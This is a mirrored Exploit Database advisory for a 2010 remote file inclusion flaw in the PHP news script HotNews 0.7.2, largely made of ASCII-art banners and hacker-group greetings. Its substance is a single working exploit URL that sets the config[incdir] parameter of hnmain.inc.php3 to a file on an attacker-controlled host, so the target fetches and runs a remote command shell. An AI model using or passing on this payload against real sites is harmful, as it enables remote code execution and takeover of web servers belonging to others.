HotNews 0.7.2 – Remote File Inclusion

• Exploit Database
• 138 阅读

• 作者： team_elite
  日期： 2010-04-11
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/12160/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81

  ================================================================================================ ================================================================================================ == @@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@ == == @@@@@@@@@@@@@@@@@@@@@@@@ @@@ @@@@@@@@@@@@@@@@@@@@@@@@ == ==@@ @@@@ @@@@ @ @ @@@@@@@@ @@ @@ == ==@@ @@@@ @@@@@ @@@@@@@@@ @@ @@ == ==@@ @@@@@@@@@@@@@@@ @ @@@@@@@@@@@@ @@ @@@@@@ == ==@@ @@@@ @@@@ @@@@@@@@ @@ @@ == ==@@ @@@@ @@@@ @@@@@@@@ @@ @@ == ==@@ @@@@@@@@ @@@@ @@@@@@@@@@@@@@@@ @@ @@@@@@ == ==@@ @@@@@@@@ @@@@ @@ @@@@@@@@@@ @@@@@@@@@@@@@@ @@ @@@@@@ == == == ================================================================================================ ================================================================================================ |||||| ||| ||| [[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ [[ [[ [[ HotNews 0.7.2 Remote File Inclusion Vulnerability [[ [[ [[ [[ ** Bugs Found by team_elite | http://manadocoding.net | http://www.gcc.web.id/ | [[ [[ [[ [[ [[ [[ ## Exploit: [[ [[ [[ [[- http://[target]/[path]/includes/hnmain.inc.php3?config[incdir]=[attacker.com]/cmd.gif???[[ [[ [[ [[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ ||| ||| ||| ||| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~Greetz and Thanks to: All member gcc, all member manadocoding ~~~~ ~~~~ ~~~~ ~~~~MC & gcc team : team_elite , devilbat , zreg , doniskynet , 0pa ~~~~ ~~~~thanks for : cr4wl3r [ http://shell4u.tk/ ] ~~~~ ~~~~ ~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * -, * -@@ * -@@# * -:@@; * - @@@@@......<code> * -@@@@.@@@@@@@@@@@# * - @@@@@@@@@@@@@@@@@@ * - @@@@@@@@@@@@@@@@@@@@; * -#@@@@@@@@@@@@@@@@@ * -<code>@@,@@@@@@@@@@@@@@@@@: * - @@@+@@@@@@@ @@@@@@@;@@@ * - :@@@@@@@@@:@,; @@@@@@@ .@@ * -@@@@@@@@@@@:@@@@@@@@@@ * - @@@@&apos; <code> </code> @@@@@@@@@:+. * - .@@@@@@@@@@@@@ . * - , +@@@@@@@@@@@@@ * -+@@@@@@@@@@@@@@@@@@@@# * - ,@@@@@@@@@@@@@@@@@ +@@@ * -<code>@@@@@@@@@@@@@@@@@@@ @@@ * - @@@@@@@@@@@@@@@@@@@ @@ * -@@@@@@@@@@@@@@@@@@ @@ * - +@@@@@@@@@@; @@@# @ * - @@@@@@@@@ : * - @@@@@@@@ ,@@ * -@@@@@@@@@ @@@&apos; * -@@@@@@@<code>@ @@@; * -@@@@@@@@ @.@@@@@@@@ * -@@@@@@@@@@@@@@@@@@@@@@# * - @@@@@@@@@@@@@@@@@@@@@@@@@@@ * - @ @@@@@@@ ;@@@@@@@@@@@@@@@@@ * - @ @@@@@@@@@@@@@@@@@@@,@@@@+ * - @@@@@@@@@@@@@@@@@@@@@@@ * - @@@ @@@@@@@@@@@@@@@; @@@@ * - @@@@@@@@@</code>@@@. @@. * - @@; @@@@#:@@@@@# @@. * - @ @@@: ;@ * -;` @@ ;@ * -@@@ * - @# * - : : * --------------------------------------------->>>> bugs found on 11 April 2010 by team_elite.